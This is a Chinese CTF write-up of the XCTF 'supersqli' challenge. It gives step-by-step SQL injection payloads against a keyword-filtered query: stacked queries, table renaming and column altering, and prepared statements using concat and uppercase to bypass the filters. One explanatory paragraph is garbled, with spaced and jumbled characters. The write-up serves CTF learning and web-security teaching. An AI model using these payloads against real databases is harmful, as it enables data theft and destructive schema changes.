XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)

目录标题

  • 方法一、堆叠注入
    • 1、rename修改表名和alter change修改列名
    • 2、rename修改表名和alter add添加列名
  • 方法二、handler语句
  • 方法三、预编译

打开题目地址
XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第1张图片

之后搜索:1’ or 1=1#
XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第2张图片

成功返回了3条数据,说明存在SQL注入漏洞
之后先判断有几列数据,使用order by 1让返回的数据按照第一列排序:

1' or 1=1 order by 1 #

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第3张图片

返回了正确的结果,并且按照第一列排序了,说明至少存在一列数据。
其实我们也可以直接从order by 2让返回的数据按照前2列排序开始的,因为再上面几次搜索的返回结果中,可以明显看到有2列以上的不同数据:
XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第4张图片

按照前两列排序也返回了正确的结果,说明至少存在2列数据。
之后我们使用order by 3让返回的数据按照前3列排序:

1' or 1=1 order by 3 #

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第5张图片

没有第3列数据,
那我们接下来用union联合查询来利用这两列读取数据:

1' union all select 1,2 #

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第6张图片

提示有关键词过滤:preg_match("/select|update|delete|drop|insert|where|\./i",$inject)
对一些关键的SQL语句的大小写的正则匹配,所以这里使用联合注入不可行,只能考虑其他不带这些SQL关键词的注入方式,如盲注、堆叠注入。

方法一、堆叠注入

使用堆叠注入可以同时执行多个SQL语句,例如分开执行显示所有数据库的语句:

1';show databases;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第7张图片

还可以显示当前数据库中所有的表:

1';show tables;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第8张图片

之后我们可以显示这两个表的列名,显示表1919810931114514的列名(数字为表名操作时要加反引号):

1';show columns from `1919810931114514`;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第9张图片

1';show columns from words;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第10张图片

可以看到每一列值的属性,但是show是无法直接查看值的内容的。
其中表1919810931114514中有一个属性的名称就是flag,应该就是flag所在的位置;表words的2列属性就是开始我们查询的时候输出的2列值。
所以现在的后台代码大概逻辑就是:

select * from words where id = $inject;

直接将我们输入的 i n j e c t 参 数 的 值 拼 接 到 S Q L 语 句 进 行 数 据 库 查 询 , 所 以 默 认 输 出 的 是 w o r d s 表 中 的 内 容 。 而 我 们 现 在 要 输 出 的 是 表 1919810931114514 中 的 f l a g 的 值 所 以 我 们 的 一 种 攻 击 思 路 就 是 : ( 1 ) 先 把 表 w o r d s 改 成 其 他 的 表 名 如 t e s t ; ( 2 ) 然 后 再 把 表 1919810931114514 重 命 名 为 w o r d s ; ( 3 ) 把 f l a g 字 段 改 为 i d 字 段 或 者 添 加 一 个 i d 字 段 。 这 样 我 们 输 入 的 inject参数的值拼接到SQL语句进行数据库查询,所以默认输出的是words表中的内容。而我们现在要输出的是表1919810931114514中的flag的值 所以我们的一种攻击思路就是: (1)先把表words改成其他的表名如test; (2)然后再把表1919810931114514重命名为words; (3)把flag字段改为id字段或者添加一个id字段。 这样我们输入的 injectSQLwords1919810931114514flag1wordstest21919810931114514words3flagididinject参数实际上查询的就是表1919810931114514中的数据。

1、rename修改表名和alter change修改列名

因为是可以使用堆叠注入,可以一次性完成上面3条语句,更改表表名用到的是rename,语法是:

rename tables 旧表名 to 新表名;

所以(1)把表words改成其他的表名如test:

rename tables `words` to `test`;

(2)然后再把表1919810931114514重命名为words:

rename tables `1919810931114514` to `words`;

修改列名用到的是alter change,语法是:

alter table 表名 change column 列名 新列名 属性

(3)把flag字段改为id字段:

 alter table `words` change column `flag` `id` varchar(100);

合起来的搜索语句就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`; alter table `words` change column `flag` `id` varchar(100);#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第11张图片

执行之后没有报错。
再查看当前表中的所有数据:

1' or 1=1#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第12张图片

得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
我们再看一下我们刚刚的修改对数据库造成的影响:

1';show tables;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第13张图片

现在数据库中的表是test和words了,另外原来的表1919810931114514中没有flag等于1的值所以搜索1现在没有符合要求的结果了:
XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第14张图片

也可以继续查看我们刚刚的修改对表test和words中的列造成的影响:

1';show columns from test;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第15张图片

test表就是原words表中的内容。

1';show columns from words;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第16张图片

words表就是原1919810931114514中的内容,且flag字段已经被我们改成了id字段。

2、rename修改表名和alter add添加列名

先重启一个容器,保证数据库中的数据都是没有被更改的。
XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第17张图片

这个攻击和上面不一样的只是攻击步骤(3)中是添加一个id字段,添加用的alter add,语法是:

alter table 表名 add (字段的名称 字段的类型 (附加属性));

(3)添加一个id字段,这句SQL语句的意思是在words表中添加一个id字段,它的类型是int(11)、primary key是主键、auto_increment)是值自动加1:

1;alter table `1919810931114514` add (id int(10) primary key auto_increment);#

和前面的语句合起来就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`;alter table `words` add (id int(11) primary key auto_increment);#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第18张图片

执行成功,
因为有了自增加的id字段,所以直接搜索1,就是flag所在的数据:
XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第19张图片

得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
查看当前words表的列属性:

1';show columns from words;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第20张图片

成功添加了id字段。

方法二、handler语句

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
后台只是过滤了select|update|delete|drop|insert|where关键字,没有过滤handler,尝试:

1' union handler words read first;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第21张图片

但是这是一个MariaDB的数据库,无法使用handler关键字,所以这里是不可行的。

方法三、预编译

利用此方法的前提是支持多语句查询,也就是堆叠查询。
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
(1)词法和语义解析
(2)优化sql语句,制定执行计划
(3)执行并返回结果
我们把这种普通语句称作Immediate Statements。
但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如select、query的where子句值不同,update的set子句值不同,insert的values值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能将输入的参数和SQL语句分隔开来,可以防止sql注入。
MySQL的预编译语法分为定义预编译SQL语句和执行预编译语句:
//预编译SQL语句

PREPARE stmt_name FROM preparable_stmt;

//执行预编译语句

EXECUTE stmt_name [USING @var_name [, @var_name]];

解释一下,定义的时候stmt_name是变量名,代表这个SQL语句,preparable_stmt代表的是预留的SQL语句中的参数位置,而下面举个例子:

PREPARE test FROMSELECT (? + ?);//即定义了一个两数相加的SQL预编译语句

执行时,@var_name即变量,可以带入语句中进行执行,如:

SET @a = 1,@b = 2;//给变量赋值
EXECUTE test USING @a,@b;//执行

就相当于执行了select (1+2);
这道题目主要就是利用预编译,可以利用concat()将关键词拆分成2个变量合并起来,来绕过过滤的正则表达式的匹配,也可以将整个语句使用char()处理后执行。
拆分开来就是:

-1;
set @sql = concat(‘sel’,‘ect * from 1919810931114514;);//定义一个@sql变量,在后台运行的时候使用concat将sel 和ect连接起来
prepare stmt from @sql;   //定义stmt变量指向预编译@sql语句
execute stmt; #   //执行stmt变量

合并起来一起运行就是:

1';set @sql = concat('sel','ect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第22张图片

但是后台还用strstr函数过滤了set和prepare关键字,但是strstr函数只能过滤了小写的"set"和"prepare"关键字,
我们都改成大写它就无法匹配了:

1';Set @sql = concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)_第23张图片

也能得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

你可能感兴趣的:(#,Bugku,XCTF-WEB类写题过程,前端,php,web安全,SQL注入,数据库)